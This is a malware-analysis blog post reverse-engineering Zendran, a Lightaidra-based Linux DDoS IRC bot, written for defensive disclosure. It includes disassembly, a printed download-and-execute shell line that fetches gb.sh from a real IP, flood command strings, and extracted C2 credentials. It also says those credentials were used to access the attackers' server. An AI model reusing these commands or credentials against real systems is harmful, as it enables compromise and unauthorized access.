MMD-0022-2014 - Zendran, Multi-Arc ELF DDoS (lightaidra ircd base) - Part 1: background, installation, reversing & CnC access
18 May 2014The background
There are a lot of DDoS attacks performed each day. Our systems are also being abused by these, and maybe some of you have the same shares too. MalwareMustDie analysis is focusing on malware, and recently we are raising priority to analysis aiming the UNIX or Linux platform. And, luckily one of the sample dropped this time is the multi-CPU architecture DDoS ELF tool, which is a nice topic to disclose, and we plan to disclosing this threat down to its threat root.
This is the analysis of the DDoS tool that was made based from the C code of IRCd program called Lightaidra, and aiming infection on Linux OS in x86, x64, PPC, MIPS, MIPSEL, ARM, and SuperH architectures, meaning, not only aiming servers but also linux workstations, routers and any related devices that is connecting to the global internet, to be badly utilized as a cyber attack tool to perform DDoS attack. The case is complicated and various in analysis skill set + volume, so to save time, myself and @wirehack7 are on the case to split the writing into 2 (two) parts, I, in this post do the first part contains the background, installation & reversing materials, with aiming the credentials of the CNC,, and behavior & network analysis. And the second part can be read in capsop.com blog contains the CnC information, IRC details used for attacks , and the bad actor's ID/account investigation (cyber crime case) with the access is here-->[Threat analysis: Zendran ELF DDoS scheme (lightaidra ircd base) | Part 2: CnC & The bad actor]
The installation
Malware was designed to be installed via the hacking attempt that can gain the access to the shell of Linux box. Once the privilege gained, it downloads from the below IP address & URL for the downloader and installer script:
h00p:// 192.99.168.37/gb.sh
Via a one-liner shell command as per below "code"
The above codes is saving the below installation code to the file gb.sh in the /var/run:
The one-liner code stated above is actually generated from the "other" shell script that we "successfully" obtained as per below code;
The summary of all these installation scheme are two jobs:
(1) Install ELF binary into a compromised system by modified wget & resolve.conf beforehand..
(2) And..execute the ELF binary, as per the architecture flavor, in the "/var/run" as per snipped data below:
We downloaded all samples and now is in Virus Total for the AV industry to do their part in making signatures to detect this threat, but below I share the x32 and x62 VT link for you:
x32 ELF | link-->[here]
SHA256: 83c01c36ef5dc4c7faf5abb12e295e9ea43393d4567f8d20b3ad176ac53a7bac
File name: halfnint
Detection ratio: 7 / 50
Analysis date: 2014-05-14 15:03:28 UTC ( 3 days, 1 hour ago )
Antivirus Result Update
Ad-Aware Generic.Malware.G!I!!g.3A71DD58 20140514
BitDefender Generic.Malware.G!I!!g.3A71DD58 20140514
Emsisoft Generic.Malware.G!I!!g.3A71DD58 (B) 20140514
F-Secure Generic.Malware.G!I!!g.3A71DD58 20140514
GData Generic.Malware.G!I!!g.3A71DD58 20140514
Kaspersky HEUR:Worm.Linux.Pilkah.gen 20140514
MicroWorld-eScan Generic.Malware.G!I!!g.3A71DD58 20140514
x64 ELF | link-->[here]
SHA256: 2c26e018c8615e7b8e75b8fa28dbdca6c77074927b5b9ff0a5a9c19ed24721c3
File name: 74d53ee69bf937cfae11d079c870534f462e2f67.exe
Detection ratio: 1 / 46
Analysis date: 2014-05-14 15:03:26 UTC ( 3 days, 1 hour ago )
Antivirus Result Update
Qihoo-360 Trojan.Generic 20140514
The installation codes of this malware was recorded perfectly by @wirehack7, and you can see it in the video I compiled together with the summary of this section:
Binary Analysis
Since there are some options in the binaries, I picked the most familiar architecture to reverse. In this section (binary analysis), my hope is to crack all of the details related to the binary structure to be used as base in reversing and behavior analysis. Maybe there are also several information that can show us some extra information too. So I begin with the below file as per attributed as per it is during the download:
-rwxr--r-- 1 mmd mmd 43671 May 12 06:02 halfnint* | ec5556e3026b98aaf0f0a7d53b1a76d6
Header Details:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Intel 80386
Version: 0x1
Entry point address: 0x8048ed0
Start of program headers: 52 (bytes into file)
Start of section headers: 35956 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 8
Size of section headers: 40 (bytes)
Number of section headers: 30
Section header string table index: 27
As per previous written in MalwareMustDie blog posts on ELF analysis cases, NIX Gods are so kind to give us many default tools to analyze the badness. We can search how the binary was compiled by simply firing "file" to get the info below:
LSB executable, dynamically linked (uses shared libs),
for GNU/Linux 2.6.18, not stripped
I was thinking of the which section to start looking into its headers:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048148 000148 000020 00 A 0 0 4
[ 3] .note.gnu.build-i NOTE 08048168 000168 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 0804818c 00018c 000020 04 A 5 0 4
[ 5] .dynsym DYNSYM 080481ac 0001ac 000400 10 A 6 1 4
[ 6] .dynstr STRTAB 080485ac 0005ac 000229 00 A 0 0 1
[ 7] .gnu.version VERSYM 080487d6 0007d6 000080 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 08048858 000858 000070 00 A 6 2 4
[ 9] .rel.dyn REL 080488c8 0008c8 000008 08 A 5 0 4
[10] .rel.plt REL 080488d0 0008d0 0001e8 08 A 5 12 4
[11] .init PROGBITS 08048ab8 000ab8 000030 00 AX 0 0 4
[12] .plt PROGBITS 08048ae8 000ae8 0003e0 04 AX 0 0 4
[13] .text PROGBITS 08048ed0 000ed0 005fec 00 AX 0 0 16
[14] .fini PROGBITS 0804eebc 006ebc 00001c 00 AX 0 0 4
[15] .rodata PROGBITS 0804eee0 006ee0 0019d0 00 A 0 0 32
[16] .eh_frame_hdr PROGBITS 080508b0 0088b0 000024 00 A 0 0 4
[17] .eh_frame PROGBITS 080508d4 0088d4 00007c 00 A 0 0 4
[18] .ctors PROGBITS 08051950 008950 000008 00 WA 0 0 4
[19] .dtors PROGBITS 08051958 008958 000008 00 WA 0 0 4
[20] .jcr PROGBITS 08051960 008960 000004 00 WA 0 0 4
[21] .dynamic DYNAMIC 08051964 008964 0000d0 08 WA 6 0 4
[22] .got PROGBITS 08051a34 008a34 000004 04 WA 0 0 4
[23] .got.plt PROGBITS 08051a38 008a38 000100 04 WA 0 0 4
[24] .data PROGBITS 08051b38 008b38 000014 00 WA 0 0 4
[25] .bss NOBITS 08051b60 008b4c 10549c 00 WA 0 0 32
[26] .comment PROGBITS 00000000 008b4c 00002c 01 MS 0 0 1
[27] .shstrtab STRTAB 00000000 008b78 0000fc 00 0 0 1
[28] .symtab SYMTAB 00000000 009124 000ef0 10 29 57 4
[29] .strtab STRTAB 00000000 00a014 000a83 00 0 0 1
It came to my choice to pay attention to the opcodes written in .rodata and .text, many of the data from this section will come up in the reversing part. While the .dynsym contains the shared library to lead us to .gnu_version which glibc dependency version can be seen, these both information will be important for the behavior analysis later on:
Addr: 00000000080487d6 Offset: 0x0007d6 Link: 5 (.dynsym)
000: 0 (*local*) 2 (GLIBC_2.0) 3 (GLIBC_2.0) 4 (GLIBC_2.1)
(...)
By the way, we need to know also which shared library used for behavior test too so I peeked into the dynamic section at the offset 0x8964 that contains 21 entries with having the shared libraries as follows:
Tag Type Name/Value
0x00000001 (NEEDED) Shared library: [libpthread.so.0]
0x00000001 (NEEDED) Shared library: [libc.so.6]
Additionally, the header .symtab is showing the information of the each glibc function called, original function used and the project'Ss C files as per shown below:
crtstuff.c
main.c
utils.c
irc.c
requests.c
scan.c
attacks.c
Oh, wow, this is a very good information to know, later on we can compare some source codes of malware to know how is it supposed to work actually. In the mean time, let's moving on...
At this point I didn't look up to the binary strings yet, but sometimes tempted to "play luck", I fired the URL string searching made by Joxean Koret and found the CNC IP, what a lucky day! :-)
[0x00000000]> url
ASCII URLs
h00p://192.99.168.37 // url is masked
[0x00000000]> chkurl
Checking http://192.99.168.37 ... UP
[0x00000000]>
OK..I think I almost got everything I need to start to reverse here. In reversing the binary, fyi, I used my FreeBSD CLI (maaany tools can be used and works very fast, like hd, xxd, r2, pyew, etc) with OS X GUI reversing tools if I stuck on something, for faster trails, but I still need the Windows to write this blog and picture setting, for my eyes problem.
The details of reversing are in the next section.. Hang on!
The ELF Reversing
String analysis
Trying hard not to waste my time, since I can guess the nature of this malware, I went to the string analysis (by firing "strings") and grouped some client connection to server, in IRC protocol commands, like:
0xA67B 0xA67B login
0xA81D 0xA81D uport
0xA681 0xA681 cmd_login
0xAA6E 0xAA6E cmd_logout
0xAA14 0xAA14 cmd_setchan
We won't know whether is this a server or client version until we bumped into below commands actually.. OK, it is a client one:
0xA9C1 0xA9C1 channel
0xA6CF 0xA6CF connect_to_irc
0xA87C 0xA87C create_irc_servlist
0xA823 0xA823 irc_requests
0xA8A8 0xA8A8 pub_requests
0xA78C 0xA78C cmd_advscan_getpass
0xA861 0xA861 cmd_advscan_recursive
0xA895 0xA895 cmd_advscan_random
0xA9F3 0xA9F3 cmd_advscan_join
0xAA14 0xAA14 cmd_setchan
Is it the CLI base IRC program? or practically a coded-to-be an IRC BOT? This is important for checking the malicious IRC bot binary, to find the below commands as hints as bots:
TOPIC #LA
PART #Auth
JOIN #LA :ping
TOPIC #LA
TOPIC #LA
Further, is it malicious? The below commands says more than words, I think we are dealing with flooder or booter here:
ADDR 0xA6C1 0xA6C1 flood
ADDR 0xA781 0xA781 ngackflood
ADDR 0xA92C 0xA92C synIP
PRIVMSG %s :* .spoof- set the source address ip spoof\n
PRIVMSG %s :* .synflood- tcp syn flooder\n
PRIVMSG %s :* .ngsynflood- tcp ngsyn flooder (new generation)\n
PRIVMSG %s :* .ackflood- tcp ack flooder\n
PRIVMSG %s :* .ngackflood- tcp ngack flooder (new generation)\n
And by the way this is the version of the original code used, someone looks forgot (or don't know how) to strip these strings..:
Header: .rodata: Add/Offset: 0804FD64 0000002A
PRIVMSG %s :[version] lightaidra 0x2012.\n
Reversing
I was being asked to do whatever I can do to "reversing" the IRC credentials used by this threat's actor and other details helped to crack the CNC,to be used for the CNC & IRC bot herder's investigation. Well, OK. I opened the binary right away. The main.c file trace shown above hinted me to seek main()located in .text:08048F84 start from these opcodes:
.text:08048F84 public main
.text:08048F84 main proc near
.text:08048F84 var_30 = dword ptr -30h
.text:08048F84 var_14 = dword ptr -14h
Trolling it down, to know how the program call "daemonized" function (+hooking its pid, usual daemon stuff)
.text:08048F85 mov ebp, esp
.text:08048F87 and esp, 0FFFFFFF0h
.text:08048F8A push ebx
.text:08048F8B sub esp, 2Ch ; void *
.text:08048F8E call daemonize
.text:08048F93 call pidprocess
.text:08048F98 mov ds:counter, 0
It jumped to loc_8048FD0:
.text:08048FA1 jmp short loc_8048FD0
Which only checking the loop counter and jump to call function to check IRC server list
.text:08048FDD mov ds:counter, 0
.text:08048FE6 call create_irc_servlist
Oh my, this is interesting since we can figure the server (CnC)of this IRC client, so trailing it down to the create_irc_servlist(), reversed the value back and got the data below:
.text:0804994E public create_irc_servlist
.text:0804994E create_irc_servlist proc near
.text:0804994E var_228 = dword ptr -228h
.text:0804994E var_224 = dword ptr -224h
.text:0804994E var_220 = dword ptr -220h
.text:0804994E var_20E = dword ptr -20Eh
.text:0804994E var_E = word ptr -0Eh
.text:0804994E var_C = dword ptr -0Ch
.text:0804994E push ebp
.text:0804994F mov ebp, esp
.text:08049951 sub esp, 228h ; char *
.text:08049957 mov [ebp+var_E], 0
.text:0804995D mov [esp+228h+var_220], 200h
.text:08049965 mov [esp+228h+var_224], 0
.text:0804996D lea eax, [ebp+var_20E]
.text:08049973 mov [esp+228h+var_228], eax
.text:08049976 call _memset
.text:0804997B nop
.text:0804997C mov eax, offset a178_18_16_9680
offset of a178_18_16_9680 is filled with data of:
.rodata:0804F005 a178_18_16_9680 db '178.18.16.96:80',0↑Which are a text of an IP and a port number.
OK, we got the IP and port number, don't get too excited yet & firing anything to that network! Let's confirm what IP is that, and the binary is the best teacher for it...
Following the flow, to find those data (IP:PORT) was used to connect to IRC server, as per PoC below:
text:08048FEB mov [esp+30h+var_30], 2
.text:08048FF2 call _sleep
.text:08048FF7 mov [esp+30h+var_30], 18h
.text:08048FFE call _malloc
.text:08049003 mov [esp+30h+var_14], eax
.text:08049007 mov eax, [esp+30h+var_14]
.text:0804900B mov [esp+30h+var_30], eax
.text:0804900E call connect_to_irc
Oh well, is obvious function name anyway, so I went to the mentioned function in .text:0804A0BC and after some operations of "details" in preparing IP, ports and hostname, it tries to make connection and jump to the authentication upon success (jnz short loc_804A234) or retrying, as per coded below:
.text:0804A220 call _connect
.text:0804A225 cmp eax, 0FFFFFFFFh
.text:0804A228 jnz short loc_804A234
.text:0804A22A mov eax, 0FFFFFFFFh
.text:0804A22F jmp locret_804A33D
In this part I expect some important variables like AUTH, CHANNEL, NICK, USER, PASS, whatever, see it carefully:
.text:0804A234 call getrstr
.text:0804A239 mov eax, offset aS
Fetching from offset aS which contains:
.rodata:0804F042 aS db '%s',0
Then similar to aS, the CHANNEL's variable is set, as per below:
.text:0804A23E mov [esp+48h+var_3C], offset aLa ; contains "#LA"
.text:0804A246 mov [esp+48h+var_40], eax
.text:0804A24A mov [esp+48h+var_44], 1Fh
.text:0804A252 mov [esp+48h+var_48], offset channel
.text:0804A259 call _snprintf
Following by the offset aS_0:
mov eax, offset aS_0 ; "->%s"
mov [esp+48h+var_3C], offset asc_804F04E ; contains "x"
mov [esp+48h+var_40], eax
mov [esp+48h+var_44], 3
mov [esp+48h+var_48], offset nt
call _snprintf
We have two variables filled now, they are:
offset channel ; "#LA" and offset aS_0 ; "x"This "suggests" a typical IRC command for channel joining command to channel "#LA" for me, unless you can read it otherwise. The "x" value in offset aS_0 suggesting the PREFIX (or channel mode value, which is likely not) OK.. :-)) Following..
This part is assembly of the password and send it to the connected channel..
.text:0804A284 mov eax, [ebp+arg_0]
.text:0804A287 mov eax, [eax]
.text:0804A289 mov [esp+48h+var_3C], offset aEymurmyafg
// offset aEymurmyafg contains
"eYmUrmyAfG" now..
.text:0804A291 mov [esp+48h+var_40], offset aPass
// offset aPass contains string:
"PASS" now
.text:0804A299 mov [esp+48h+var_44], offset aSS_0
// Assemble those two strings to aSS_0 with:
"%s %s\n"
.text:0804A2A1 mov [esp+48h+var_48], eax
Connecting, checking and jumping to the next flow:
.text:0804A2A4 call sockwrite
.text:0804A2A9 test eax, eax
.text:0804A2AB jz short loc_804A2B7
.text:0804A2AD mov eax, 0FFFFFFFFh
.text:0804A2B2 jmp locret_804A33D
I'll make this shorter from now, since is already 3:30am here..time zone.. If the above gone well, the nickname will be set by:
.text:0804A2B7 mov edx, ds:data_ptr
.text:0804A2BD mov eax, [ebp+arg_0]
.text:0804A2C0 mov eax, [eax]
.text:0804A2C2 mov [esp+48h+var_40], edx
.text:0804A2C6 mov [esp+48h+var_44], offset aNickS
// aNickS is now contains:
"NICK %s\n"
.text:0804A2CE mov [esp+48h+var_48], eax
.text:0804A2D1 call sockwrite
.text:0804A2D6 test eax, eax
.text:0804A2D8 jz short loc_804A2E1
.text:0804A2DA mov eax, 0FFFFFFFFh
.text:0804A2DF jmp short locret_804A33D
Which this offset aNickS's %s was needed to be filled in. ..And, the USER is set in:
.text:0804A2E1 mov eax, [ebp+arg_0]
.text:0804A2E4 mov eax, [eax]
.text:0804A2E6 mov [esp+48h+var_44], offset aUserAssLocalho
// aUserAssLocalho contains data of:
"USER ass localhost localhost :Stallion\n"...
.text:0804A2EE mov [esp+48h+var_48], eax
.text:0804A2F1 call sockwrite
.text:0804A2F6 test eax, eax
.text:0804A2F8 jz short loc_804A301
.text:0804A2FA mov eax, 0FFFFFFFFh
.text:0804A2FF jmp short locret_804A33D
In the login() function I found the way it received the communication (bot mode) from other user, below is how to crack the request came (a@underworld) and the password used (pussy):
.text:08049319 ; initiation....
.text:08049319 login proc near : refer to origin => cmd_login
.text:08049319 var_18 = dword ptr -18h
.text:08049319 var_14 = dword ptr -14h
.text:08049319 var_10 = dword ptr -10h
.text:08049319 var_C = dword ptr -0Ch
.text:08049319 arg_0 = dword ptr 8
.text:08049319 arg_4 = dword ptr 0Ch
.text:08049319 ; here we go...
.text:08049319 push ebp
.text:0804931A mov ebp, esp
.text:0804931C sub esp, 18h ; char *
.text:0804931F mov eax, [ebp+arg_4]
; var for receiving a@underworld command..via login..
.text:08049322 mov [esp+18h+var_14], offset a@underworld ; "@UnderWorld"
.text:0804932A mov [esp+18h+var_18], eax
.text:0804932D call _strstr
.text:08049332 test eax, eax
.text:08049334 jz short loc_80493A5
.text:08049336 mov eax, [ebp+arg_4]
.text:08049339 add eax, 0E0h
.text:0804933E mov [esp+18h+var_10], 5
.text:08049346 mov [esp+18h+var_14], eax
; var for receiving / auth sequence next command..via login..
; password = pussy
.text:0804934A mov [esp+18h+var_18], offset aPussy ; "pussy"
.text:08049351 call _strncmp
.text:08049356 test eax, eax
.text:08049358 jnz short loc_8049388
.text:0804935A mov eax, [ebp+arg_4]
.text:0804935D lea edx, [eax+1]
.text:08049360 mov eax, [ebp+arg_0]
.text:08049363 mov eax, [eax]
.text:08049365 mov [esp+18h+var_C], edx
.text:08049369 mov [esp+18h+var_10], offset channel
.text:08049371 mov [esp+18h+var_14], offset aPrivmsgSLoginY
; auth passed!! "PRIVMSG %s :[login] you are logged in, "...
.text:08049379 mov [esp+18h+var_18], eax
.text:0804937C call sockwrite
.text:08049381 mov eax, 0
.text:08049386 jmp short locret_80493AA
Are we done here?? NO! what is the NICK used??
Seeking the assembly code I found the function getstr() function called by irc_connect() function contains the NICK allocated variable which if we trail it.. it'll lead us to below code to figured that the value returned to the NICK's "%s" is [Intel]+%s:
.text:080491CE ; getrstr() trailing cont'd...
.text:080491CE cmp [ebp+var_C], 9
.text:080491D2 jle short loc_804919B
.text:080491D4 mov edx, offset aSS ; "%s%s"
.text:080491D9 mov eax, ds:data_ptr
.text:080491DE lea ecx, [ebp+var_42]
.text:080491E1 mov [esp+78h+var_68], ecx
.text:080491E5 mov [esp+78h+var_6C], offset aIntel ; "[Intel]"
.text:080491ED mov [esp+78h+var_70], edx
.text:080491F1 mov [esp+78h+var_74], 0Fh
.text:080491F9 mov [esp+78h+var_78], eax
.text:080491FC call _snprintf
.text:08049201 mov eax, ds:data_ptr
.text:08049206 add esp, 70h
.text:08049209 pop ebx
.text:0804920A pop esi
.text:0804920B pop ebp
.text:0804920C retn
.text:0804920C getrstr endp
Reversing Result
Putting all reversed strings together, these are what I can gather for the "credentials" from reverse engineering the sample:
IRC Server: 178.18.16.96 IRC Port: 80 USER: "ass localhost localhost :Stallion" PASS: "eYmUrmyAfG" NICK: "[Intel]+%s" Bot request LOGIN ID: "a@UnderWorld" Bot request AUTH PASS: "pussy" |
So far so good, except..time is up.. @wirehack7 seems happy receiving these credentials, and I am not, sigh.. I usually see what is recorded in the memory's register to find what's missing (this case: the %s in the NICK name used to spoof NICK during connecting the IRC channel) and so on, which is a faster recommendation than to compare calculated value of them, but, I also suspect a function with formula (or maybe randomized) used... OK! Since the situation was: time is up and I couldn't do emulation for the registers, so I tend to do the workaround to solve parameter after [Intel] in NICK with network snapshot. In overall..it is a "C-" reversing for me if I must score myself reversing in this work..
Moving on! Why I picked the network analysis instead running it and debug the memory? I have my own reason: since this actor who made codes the binary is trying to camouflage original code of lightaidra, but it looks like he has no much skill in C programming except stripping the labels & change values of lightaidra ircd :-)), which means we can hope for "plain text traffic in http port" that looks so very delicious to me. For this analysis we will go to Network Traffic section, hold on tight!
In additional to the reversing result, for the "extra values" You can see the list of other callbacks to another domain/IP used by this malicious attacker tool I found and figured during the reversing as per table below:
Domain/IP | URL/Header/Codes | Purpose |
146.255.36.1 | .text:080494D5 mov [esp+238h+var_234], offset aGetPlainHttp1_ ; "GET /plain HTTP/1.0\nHost: ipecho.net\n\n" | Ping Back (checking internet connection?) |
192.99.168.37 | .text:0804DA34 mov [esp+48h+var_40], offset aHttp192_99_168 ; "http://192.99.168.37" .text:0804DA3C mov [esp+48h+var_44], offset aRmRfVarRunGb_s ; "rm -rf /var/run/gb.sh;mv /usr/bin/-wget; /usr/bin/wget; wget -c %s/gb.sh -P /var/run && sh /var/run/gb.sh &\n "... | Download malware for updates/installation |
192.168.3.100 | .text:0804E508 flood proc near ; .text:0804E59B call setup_ip_header ; .text:0804E47F mov [esp+18h+var_18], offset a192_168_3_100 .text:0804E486 call _inet_addr | Spoof local network for attack IP header |
For the two cents in reversing, please aim your target, if you get stuck on something by following several flow that means to you must do it all over again, but in "overall scope, to see what was missing there..
Behavior and Debug Analysis
It won't be much information to be grabbed in debugging mode if the program is daemonized unless we trace the daemon process(es) too, and doing that would affect the test bed, so I dropped the idea for the oerall debugging and stick to the initial behavior analysis, which is needed to check whether the binary analysis is correct in predicted the runtime environment information, since we need to PoC something from Network Traffic analysis, so we have to make sure this "garbage" can really run.
After some fail attempts and then patching libs & seeking systems that is having requirement needed in glibc functions (mentioned in binary analysis writing) and the shared library needed (mentioned also in binary analysis part), I finally can run the binary without a problem, as per shown in the debug log below, with exit group(0), I pasted below in case needed as a run PoC for traffic analysis or as reference to ID this malware by others:
execve("./nintendo", ["./nintendo"], [/* 13 vars */]) = 0↑please noted I used the x64 binary for this test..
brk(0) = 0x1cad000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f0ec1789000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=55842, ...}) = 0
mmap(NULL, 55842, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f0ec177b000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libpthread.so.0", O_RDONLY) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@\\\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=131107, ...}) = 0
mmap(NULL, 2208672, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f0ec1350000
mprotect(0x7f0ec1367000, 2093056, PROT_NONE) = 0
mmap(0x7f0ec1566000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x16000) = 0x7f0ec1566000
mmap(0x7f0ec1568000, 13216, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f0ec1568000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\300\357\1\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1599504, ...}) = 0
mmap(NULL, 3713112, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f0ec0fc5000
mprotect(0x7f0ec1147000, 2093056, PROT_NONE) = 0
mmap(0x7f0ec1346000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x181000) = 0x7f0ec1346000
mmap(0x7f0ec134b000, 18520, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f0ec134b000
close(3) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f0ec177a000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f0ec1779000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f0ec1778000
arch_prctl(ARCH_SET_FS, 0x7f0ec1779700) = 0
mprotect(0x7f0ec1346000, 16384, PROT_READ) = 0
mprotect(0x7f0ec1566000, 4096, PROT_READ) = 0
mprotect(0x7f0ec178b000, 4096, PROT_READ) = 0
munmap(0x7f0ec177b000, 55842) = 0
set_tid_address(0x7f0ec17799d0) = 29240
set_robust_list(0x7f0ec17799e0, 0x18) = 0
futex(0x7fff9b1a7bbc, FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME, 1, NULL, 7f0ec1779700) = -1 EAGAIN (Resource temporarily unavailable)
rt_sigaction(SIGRTMIN, {0x7f0ec1355ad0, [], SA_RESTORER|SA_SIGINFO, 0x7f0ec135f030}, NULL, 8) = 0
rt_sigaction(SIGRT_1, {0x7f0ec1355b60, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x7f0ec135f030}, NULL, 8) = 0
rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0
getrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM_INFINITY}) = 0
clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f0ec17799d0) = 29245
exit_group(0)
Network Traffic
The point of the network traffic analysis is to seek the NICK values and to check in details of the botnet CNC protocol (in IRC protocol, obviously) used. This information will be used by us to compromise the bad actor's network to grab the further details about the Bot Herder networking and his ID.
The overall traffic is as per below picture:
Be noted that, most of the IRC is not running on port 80. So the wireshark stamped capture I made in tcpdump as "Continuation or Non-HTTP traffic" :-)
In every TCP stream, the CNC communication "protocol" is as per expected (plain text) which is shown in a set of a success request & response commands under one session of connection via this malware as soon as it runs as per below capture:
↑You can see there the herder's IRC handle names: Izan and StyxCoD, with the "further deeper information" can be read more in the "Part Two", and the values of the IRC connections we figured in reversing part are correct afterall.
The CNC's "HELO" or initial Protocol is indeed as per following format:
PASS "eYmUrmyAfG"
NICK "[Intel]pyy3zyw"
USER "ass localhost localhost :Stallion"
( Replies from CNC - Redacted )
TOPIC "#LA"
PART "#Auth"
JOIN "#LA :ping"
( Replies from CNC - Redacted )
TOPIC "#LA"
TOPIC "#LA"
And yes, now we can now "confirm" the NICK command used now, as "[Intel]pyy3zyw". My mission is now accomplished :-)
The CnC Investigation, Attacker PoC & Bad Actor analysis
Our friend @wirehack7 is writing this section's good analysis in his blog here--->[Threat analysis: Zendran ELF DDoS scheme (lightaidra ircd base) | Part 2: CnC & The bad actor]
Using the credential information investigated in this post, the CNC was compromised and there are a lot of data grabbed for the cyber criminal investigation.
All of the materials and PoC in "The Part Two" post I supervised, checked and confirmed accordingly. The report and image snapshot provided are compiled in a way that can be used as cyber crime evidence, and since one of the bad actor looks living in Jacksonville, United States (+ he is in the deep trouble now), the materials will very useful to be used by FBI to open investigation against them :-))
The method of this investigation is shared to "inspire" people who are fighting against DDoS sources, and hopefully this method can be useful to reduce similar threat's source.
Additionally, looks like we hit a jackpot, some moronz in the mentioned CnC account yelled "ouch! in twitter to us ;-)
Moral of Story
This ELF evil tool was built by amateur malware coder..judging by the codes and the way it was compiled, and I am sure they are "skids" in level (sorry for that "ouch" words but this malcoder deserved it). We need to, and obligated to make sure these actors won't go far with making such tools and hacking other's host to install it and use it to attack to another network. Right now, as per seen in the "Part Two" they are opening campaign of tutoring this attack tool in youtube video and that is never be good.
The multi architecture aimed in binary types shown in the malware installer script is making us really worry. I know some routers, or PLC devices with the ssh which run in global environments under same GLIBC version, or some linux computers or several game boxes under those chipsets which running the libraries too. This malware can aim those architectures mentioned, and one can get so surprised if finding his routers, servers, PLC control panels or game boxes, (or maybe Televisions!) being used for DDoS attack right?
I really hope this case can be followed well by law enforcement to start opening a new cyber crime investigation.
Samples are all in VT, sharing downloads will be started in a while, first, give us time to clean up our work dusts..we really spent much time finishing writing these posts and the case's bad actor's fighting is on going too.
Stay safe, folks! #MalwareMustDie!